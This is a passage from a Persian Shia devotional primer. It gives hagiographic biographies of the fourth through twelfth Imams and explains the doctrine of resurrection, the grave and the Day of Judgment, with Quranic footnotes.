در شبهاى تاریك نقاب بر چهره مى انداخت تاكسى او را نشناسد و انبانهائى از سكه هاى طلا و نقره و یا از غذا و هیزم پر كرده بدوش مى گرفت و درب یك بیك خانه ها مى رفت و از روى قرعه بین مستمندان تقسیم مى كرد، پس از آنكه از دنیا رفت مردم مدینه فهمیدند، كسى كه نقاب به چهره داشته و انبان بدوش مى گرفت او بوده است. بسیار خوش داشت كه بر سر سفره او یتیمان و زمین گیران و مسكینان بنشینند، از اخلاق نیك آن حضرت این بود كه: ماهى یكبار غلامان خود را گرد خود جمع مى كرد و به آنان مى گفت: هركدام از شما زن مى خواهد، برایش همسر اختیار كنم و هركس میل دارد او را به دیگرى بفروشم خواهم فروخت، هركس مى خواهد آزادش كنم آزادش مى كنم و هنگامى كه مستمندى از او درخواست مى نمود مى فرمود آفرین برتو كه توشه مرا به آخرت مى رسانى.

آنقدر سجده هاى طولانى مى كرد كه به او لقب سجاد یعنى: بسیار سجده كننده دادند و در اثر سجده بسیار پیشانى و دو كف دست و دو سر زانوانش پینه بست و آنقدر عبادت مى كرد كه به او (زین العابدین) گفتند(7). یعنى زینت عبادت كنندگان.

هرگاه به نماز مى ایستاد بدنش مانند بید مى لرزید و رنگ صورتش زرد مى شد، مردى از نزدیكانش به او ناسزا گفت، حضرت ساكت مانده و هیچ نفرمود پس از چندى بسوى او روان شد، حاضرین گمان كردند حضرت مى خواهد جوابش را بدهد، ولى حضرت این آیه را از قرآن قرائت فرمود:

(والكاظمین الغیظ والعافین عن الناس والله یحب المحسنین)(8).

ترجمه: آنان كه غضب خود را فرو مى نشانند و آنها كه طرف خود را مى بخشند، و خدا نیكوكاران را دوست مى دارد. سپس حضرت به آن مرد گفت برادرم شما جلو من ایستادى و گفتى.. و گفتى.. اگر راست گفتى و اینها در من بوده است، از خداوند براى خود آمرزش مى طلبم و اگر دروغ گفتى و اینها در من راه نداشته است، از خدا براى شما آمرزش مى خواهم.

امام پنجم:

امام محمد باقر فرزند امام زین العابدین(ع) مادرش دختر امام حسن(ع) در روز دو شنبه سوم ماه صفر یا اول ماه رجب سال پنجاه و هفت هجرى در مدینه به دنیا آمد و در روز دو شنبه هفتم ماه ذیحجه سال یكصدو چهارده بوسیله زهر مسموم گردیده شهید شد، سن مباركش پنجاه و هفت سال بود و در مدینه منوره در قبرستان بقیع به خاك سپرده شد.

داراى فضیلتهاى بزرگ، سیادت و آقائى، دیانت و دانش سرشار و بردبارى فراوان و اخلاق نیكو و عبادت بسیار و فروتنى و سخاوت بى كرانى بود. در نیك خلقى آن حضرت مى گویند: روزى یك نفر مسیحى به آن حضرت گفت (العیاذ بالله): تو بقر (گاو) هستى؟ حضرت فرمود: نه، من باقرم (شكافنده علوم) او گفت: تو فرزند آن زن آشپزى؟ حضرت فرمود: این حرفه او است گفت: تو پسر آن زن سیاهرنگ بدكاره زنگى هستى؟ حضرت فرمود اگر شما راست مى گوئى خدا آن زن را بیامرزد و اگر دروغ گفتى خدا شما را بیامرزد، مسیحى فورا مسلمان شد.

در دانش مانند دریاى خروشانى بود كه به هرپرسشى بى درنگ پاسخ مى داد، ابن عطاى مكى مى گوید: علماى بزرگ كه بخدمت حضرت باقر(ع) مى رسیدند، كوچك مى شدند و بقدرى نزد حضرت كوچك مى شدند كه ندیدم نزد هیچكس دیگر كوچك شوند. حكم بن عقبه با آن همه بزرگى كه در نظر مردم داشت، در خدمت حضرت باقر(ع) مانند كودكى بود كه در حضور آموزگارش نشسته باشد، محمد بن مسلم مى گوید: چیزى به خاطرم نیامد مگر آنكه از حضرت باقر(ع) پرسش نمودم و به اندازه سى هزار حدیث از آن حضرت پرسیدم، همیشه بیاد خدا بود، فرزندش حضرت صادق(ع) مى فرماید: (پدرم بسیار ذكر خدا مى كرد من همراهش بوده و او همیشه تسبیح خدا مى نمود و هرچند با مردم حرف مى زد از یاد خدا غافل نمى گردید).

عبادت و پارسائىاش بسیار بود و اشك از چشمانش جارى مى شد.

امام ششم:

امام جعفر صادق، فرزند امام محمد باقر(ع) مادرش فاطمه (ام فروه) بود. در روز جمعه هفده هم ربیع الاول مصادف با روزى كه پیغمبر(ص) به دنیا آمد، در سال هشتاد و سه هجرى پا به دنیا نهاد و در روز بیست و پنجم شوال سال یكصد و چهل و هشت مسموم شده به درجه رفیعه شهادت نائل گردید، سن مباركش شصت و پنج سال بود. دانش و فضیلت، فقاهت و حكمت، زهد و پارسائى، راستى و عدالت، نجابت و بزرگى سخاوت و شجاعت و دیگر صفات پسندیده در او بسیار و بىشمار بود: مرحوم شیخ مفید (ره) مى فرماید علما آنقدر كه از حضرت صادق(ع) روایت نموده اند از هیچ یك از اهل بیت روایت ننموده اند و راویان مورد اعتماد كه از آن حضرت حدیث نقل كرده اند قریب چهار هزار نفرند، ابو حنیفه پیشواى فرقه حنیفه از اهل سنت، از شاگردان مكتب حضرت صادق(ع) بود، حضرت بقدرى پارسا بود كه خوراكش سركه و روغن زیتون بود و لباسش زبر و خشن بود و چه بسا لباس وصله دار مى پوشید و خودش در باغ به كار مى پرداخت و عبادت و نماز بسیار مىنمود و خیلى از اوقات در نماز بیهوش مى شد. شبى هارون عباسى كسى را خدمت حضرت مى فرستد كه او را به منـزلش دعوت كند. قاصد مى گوید: وارد شدم دیدم حضرت تنها است و گونه خود را برخاك گذارده بطورى كه پشت دستها و صورت مباركش خاك آلود شده بود.

امام هفتم:

امام موسى بن جعفر(ع) ملقب به كاظم، مادرش حمیده خاتون (مصفاه) در روز یكشنبه هفتم ماه صفر سال یكصدو بیست و هشت در (ابواء) كه منزلى است بین مكه و مدینه بدنیا آمد و در روز بیست و پنجم ماه رجب سال یكصدو هشتاد و سه پس از مدت چهارده سال كه از روى ظلم و بیداد زندانى شده بود، در زندان هارون عباسى به زهر سم مسموم و به درجه رفیعه شهادت نائل گردید. مراسم غسل و كفن و دفن آن حضرت را فرزندش حضرت رضا(ع) عهده دار شد و در همین مرقد شریف در كاظمین به خاك سپرده شد.

دانشمندترین، فاضلترین، سخاوتمندترین، و شجاعترین مردم زمان خود بود، خوشرفتار و نیك اخلاق بود، فضل و دانش او بر همه آشكار و بزرگ مقام و بلند منزلت بود، عبادتش بسیار و سجده هایش طولانى و آنقدر غضب خود را فرو مى نشاند كه او را كاظم (فرو نشاننده) نامیدند و آنقدر صالح بود كه به او (العبد الصالح) مى گفتند.

دانش او در علوم مختلفه بسیار بود و بر همگى اقران خود برترى داشت، حدیث مشهور (بریهه) بزرگ مسیحیان نمونه اى بارز از دانش آن حضرت است و پس از آنكه حضرت او را محكوم ساخت اسلام اختیار كرده مسلمان خوبى شد.

در سخاوت آن حضرت گفته اند: هنگامى كه مستمندى از حضرت درخواست یك صد درهم مى نماید امام(ع) براى این كه میزان معلومات او را بدست آورد، چند مسئله از او سؤال مى كند و چون خوب جواب مى دهد دو هزار درهم به او مى بخشد، در قرآن خواندن از همه مردم خوش صداتر و در عبادت و قرائت و قرآن از همگى كوشاتر بود و سجده اش بیشتر از همه طول مى كشید و در گریه و تضرع بدرگاه الهى بر همه پیشى داشت تا آنجا كه در زندان بحالت سجده از دنیا رفت.

امام هشتم:

امام على بن موسى الرضا(ع)، مادرش نجمه خاتون، در روز جمعه یازدهم ذیقعده سال صدو چهل و هشت (هـ.ق) در مدینه منوره بدنیا آمد، و در روز آخر ماه صفر سال دویست و سه با زهر مسموم و شهید گردید.

مراسم غسل و كفن و دفن حضرتش را فرزندش حضرت جواد(ع) عهده دار شد و در بارگاه فعلى در خراسان به خاك سپرده شد. دانش و فضیلت، نجابت و سخاوت، نیك خلقى و فروتنى و عبادات آن حضرت مشهور و نیازى به گفتن ندارد، مامون خلیفه عباسى از حضرتش درخواست كرد كه بجاى وى خلافت اسلامى را عهده دار شود ولى حضرت مقام خلافت را نپذیرفت زیرا از نیرنگ مامون در این پیشنهاد با خبر بود و چون حضرت رضا(ع) خلافت را نپذیرفت، مامون حضرت را ناچار ساخت كه ولایت عهدى را قبول كند حضرت به شرطى به این پیشنهاد تن در داد كه در امور مملكت و شئون دولت دخالتى نكند.

مامون گاه و بیگاه مجالسى براى مناظره ترتیب مى داد كه در این مجالس امام رضا(ع) شركت مى فرمود و دانش فراوان او در باره ادیان و مذاهب، همگى را به اعجاب و تحسین وا مى داشت.

حضرت رضا(ع) در عبادات كوشش فراوان داشت و بیشتر شبها را به عبادت سپرى مى كرد و چه بسیار از اوقات كه در هر سه روز یكدفعه تمام قرآن را مى خواند و خیلى اوقات در شبانه روز هزار ركعت نماز مى خواند و گاهى ساعتها سر بسجود مى نهاد و با خداى خود راز و نیاز مى كرد، روزه بسیار مى گرفت و داراى بخشش فراوان بود و صدقات خود را پنهانى، بخصوص در شبهاى تاریك به مستمندان مى رسانید در آداب معاشرت آنقدر وارد بود كه هیچگاه كسى را با زبان نیآزرد در سخن گفتن دچار اشتباه نمى شد و اگر در مجلسى كسانى اطراف او بودند تكیه نمى نمود، هیچگاه به صداى بلند نمى خندید و در انظار مردم آب دهان نمىا نداخت.

وقتى سفره گسترده مى شد همه اهل خانه حتى نوكران را احضار مى فرمود و با آنان در سر یك سفره غذا مى خورد.

امام نهم:

امام محمد جواد فرزند على بن موسى الرضا(ع)، مادرش سبیكه خاتون، در روز دهم ماه رجب سال یكصدو نود و پنج هجرى در مدینه منوره به دنیا آمد و در روز آخر ذیقعده سال دویست و بیست با زهر مسموم و شهید گردید. بدن مباركش در كنار قبر جدش حضرت موسى بن جعفر(ع) در كاظمین همین جایگاه فعلى به خاك سپرده شد.

در زمان خود دانشمندترین و فاضلترین و سخاوتمندترین و خوش مجلس ترین و خوش اخلاق ترین و فصیح ترین مردم بود و هرگاه سوار مى شد یك كیسه طلا و نقره همراه خود بر مى داشت و هیچیك از درخواست كنندگان را رد نمى نمود و هركس از عموزاده هایش از او درخواست چیزى مى كرد كمتر از پنجاه دینار باو نمى داد و هركس از عمه زاده هایش از او چیزى مى خواست كمتر از بیست و پنج دینار باو نمى داد از نمونه هاى بارزى كه دانش فراوان حضرتش را بر مردم ثابت كرد این بود كه: یكسال پس از اعمال حج هشتاد نفر از دانشمندان ممالك مختلف گرد او جمع شدند و از مسائل گوناگون پرسش نمودند، حضرت نیز به همگى جواب فرمودند از چیزهائى كه بسیار شگفت انگیز بود اینكه: در سن نه سالگى مردم بسیارى گرد او جمع شدند و در یك مجلس از او سى هزار پرسش كردند و همه را بدون درنگ و بى غلط جواب دادند. ولى این قبیل كارها از خاندان وحى و قرآن به دور نیست، خلیفه وقت پس از آنكه بارها حضرت را با پرسشهاى بزرگى امتحان كرد و همه را جواب فرمود، دختر خود را به عقد او در آورد.

امام دهم:

امام على النقى فرزند امام محمد جواد(ع) و مادرش سمانه خاتون است، در روز پانزدهم ماه ذیحجه یا دوم رجب سال دویست و دوازده (هجرى) در مدینه منوره به دنیا آمد و در روز دو شنبه سوم ماه رجب، سال دویست و پنجاه و چهار در سامراء (با زهر سم مسموم و به درجه شهادت نائل گردید) و در همان سامراء در جایگاه كنونى به خاك سپرده شد.

او با فضیلت ترین، دانشمندترین و سخى ترین و خوش زبانترین و عابدترین و خوش ذات ترین و خوش اخلاق ترین مردم زمان خود بود. (اربلى) ضمن داستانى در باره سخاوت حضرت این روایت را نقل كرده است كه: خلیفه سى هزار درهم براى آن حضرت فرستاد، حضرت همه را به یك عرب بیابانى كه مقروض بود بخشید و به او گفت: با این پول قرض خود را مى پردازى و بقیه را صرف خانواده ات مى كنى و مرا از این مقدار كم معذور مى دارى. مرد عرب عرض كرد: اى پسر رسول خدا آرزوى من كمتر از سه درهم بود ولى خدا بهتر مى داند كه رسالت خود را درچه خاندانى قرار دهد مرد عرب با شادى بسیار پول را گرفت و رفت.

امام یازدهم:

امام حسن عسكرى فرزند امام على النقى(ع) مادرش (جده) در روز دو شنبه دهم ربیع الثانى سال دویست و سى و دو هجرى به دنیا آمد و در روز جمعه هشتم ربیع الاول سال دویست و شصت با زهر مسموم و به شهادت نائل گردید.

مراسم غسل و كفن و دفن آن حضرت را فرزند برومندش امام زمان(عج) عهده دار شد و در جوار پدرش در سامراء در بارگاه كنونى به خاك سپرده شد. فضیلت و دانش، شرف و نجابت، بزرگى و عبادت فروتنى و مكارم اخلاق آن حضرت بر كسى پوشیده نیست.

بسیار خوش اندام و زیبا چهره و با آن كمى سن داراى ابهت و عظمت خاصى بود و در اخلاق عینا به پیغمبر(ص) مى ماند، در باره كرم آن حضرت از اسمعیل روایتى رسیده است كه مى گوید: در سر راه حضرت نشستم هنگامى كه از جانب من عبور مى كرد برایش سوگند یاد كردم و اظهار نیاز نمودم حضرت فرمود: آیا به دروغ بخدا سوگند مى خورى در حالتى كه دویست دینار پنهان كرده اى؟! این گفتار من براى آن نیست كه تو را از بخشش خود محروم كنم. غلام من! آنچه با خود دارى به او ده، سپس غلام حضرت یكصد دینار به من داد.

مرد دیگرى كه به پانصد درهم نیازمند است چون آوازه سخاوت و بخشش آن حضرت را مى شنود، بخدمتش مى رسد حضرت پانصد و سه درهم به او مى دهد و مسیحیان آن زمان همگى گواهى مى دادند كه این حضرت در فضیلت و دانش و اعجاز مانند مسیح است داراى هیبت و ابهت بود و در عبادت كوشا و اغلب شب زنده دار بود.

امام دوازدهم:

امام زمان: مهدى، محمد بن حسن عسكرى(ع) مادرش: نرجس خاتون و در شب نیمه شعبان سال دویست و پنجاه و پنج هجرى در شهر سامرا بدنیا آمده است.

امام زمان: (عج) آخرین حجت خدا در روى زمین و آخرین جانشین پیامبر اسلام و دوازدهمین امام مسلمانان مى باشد، خداوند به اراده خود عمر حضرتش را طولانى نمود و از نظرها پنهان شد تا در آخرالزمان ظهور كند و جهان را پر از عدل و داد نماید پس از آنكه از ظلم و ستم پر شده باشد.

پیامبر اكرم(ص) و ائمه اطهار(ع) بما خبر داده اند كه: مهدى موعود، زنده و پاینده است تا آنروز كه ظاهر گردد و سراسر گیتى را به تصرف درآورده و در آن دادگرى را گسترش دهد و كاخهاى ستم را واژگون سازد (تا خداوند دین اسلام را بر ادیان عالم پیروز گرداند گرچه بر مشركان ناگوار آید(9).

بار پروردگارا! در ظهورش شتاب كن و ما را از یاوران و دوستانش قرار بده، و چون امام زمان (عج) در خانه خود از انظار پنهان شد، مسلمانان محل غیبت آن حضرت را در سامراء زیارتگاه خود قرار داده كه اكنون آنجا به سرداب غیبت مشهور است.

5 ـ معاد

معاد عبارت است از اینكه: خداوند انسان را پس از مردن زنده مى كند تا نیكوكاران را پاداش دهد و بدكاران را به كیفر اعمال خود برساند.

كسى كه ایمان بخدا داشته، عمل شایسته بجا آورد، نماز بخواند، روزه بگیرد، نیت خود را خالص گرداند كودكان یتیم را پناه دهد، از مستمندان و بینوایان دستگیرى كند و اینگونه كارهاى نیك انجام دهد.

خداوند او را در باغستانهاى بهشت كه در زیر آن نهرهائى جارى است، مى برد و همواره در جوار رحمت بى پایان قرار مى گیرد، و كسى كه كفر ورزید و كار ناشایسته از او سر زده و مرتكب دروغ، خیانت، قتل، دزدى، زنا، شراب خوارى و نظائر آن گردیده سزاى او آتش دوزخ و آبهاى جوشان و غذاهاى كشنده آن خواهد بود و پیوسته در اندوه و عذاب بسر خواهد برد.

پیش از بهشت و دوزخ، دو منزل را باید طى كرد:

1 ـ منزل اول قبر است كه در آن از اعمال پرسش مى شود، و انسان پاداش كردار خود را مى چشد، چنانچه پیغمبر اكرم(ص) فرمود: قبر، یا گودالى از گودالهاى جهنم و یا باغى از باغستانهاى بهشت است(10). حالت انسان در قبر مانند شخصى است كه بخواب رفته، گاهى با دیدن خوابهاى خوب خوشنود و زمانى خوابهاى پریشان دیده ناراحت مى شود با اینكه اگر كسى در نزدیكى او باشد نمى داند این شخص خوابیده اكنون در سختى و رنج بسر مى برد یا در آسایش.

زندگان نیز از مرده ها جز كالبدى خاموش و بى روح نمى بینند و نمى توانند درك كنند كه او در رنج است، یا در استراحت.

2 ـ منزل دوم قیامت است كه خداوند مردگان را زنده مى كند و همگى را در صحراى محشر گرد مى آورد، در این هنگام دادگاههاى بزرگ عدل الهى تشكیل یافته، دادرسان كه پیمبران و بندگان شایسته خدایند حضور مى یابند و به توزین و سنجش اعمال مردم مى پردازند، اینجا است كه پرونده افراد را گشوده گواهان را احضار مى كنند. دسته اى كه در دنیا رفتار و كردار شان شایسته بوده خوشبخت و گنهكاران بدبخت مى گردند، بنا بر این بر انسان لازم است كه بقدر توانائى خویش در كارهاى نیك كوشش كند تا در آن روز كه فریادرسى نیست گرفتار بدبختى همیشگى و عذاب دائم نگردد.

 

1 ـ سوره یس: آیه 82. 

2 ـ سوره آل عمران: آیه 85. 

3 ـ سورة علق: آیه 1. 

4 ـ سورة مائدة: آیه 3. 

5 ـ سوره آل عمران: آیه 61. 

6 ـ سوره نساء: آیه 86. 

7 ـ ائمه معصومین(ع)در زمان خود با بزرگترین مشكلات روبرو بودند زیرا خلفاى بنى امیه و بنى عباس خلافت اسلامى را غصب كرده با اعمال زور و قدرت بر مسلمانان حكومت مى كردند و از تماس مردم با خاندان رسالت و ائمه طاهرین(ع) جلوگیرى مى نمودند، لذا امامان ما مراجعات فراوانى نداشتند و از این رو به گوشه گیرى مى پرداخته و بیشتر اوقات را به عبادت پروردگار مى گذرانیدند، از طرف دیگر علوم و معارف آنان هم ارثى بود بدین معنى كه بدون رنج بردن و تعلیم یافتن، از پدران خود به ارث مى بردند و دیگر به تحقیق و مطالعه نیازى نداشتند، قهرا بیشتر وقت آنان به عبادت و نمازهاى طولانى مى گذشت، (مترجم).

8 ـ سوره آل عمران: آیه 134. 

9 ـ (لیظهره على الدین كله ولو كره المشركون) سوره توبه: آیه 33. 

10 ـ القبر اما حفرة من حفر النیران او روضة من ریاض الجنة.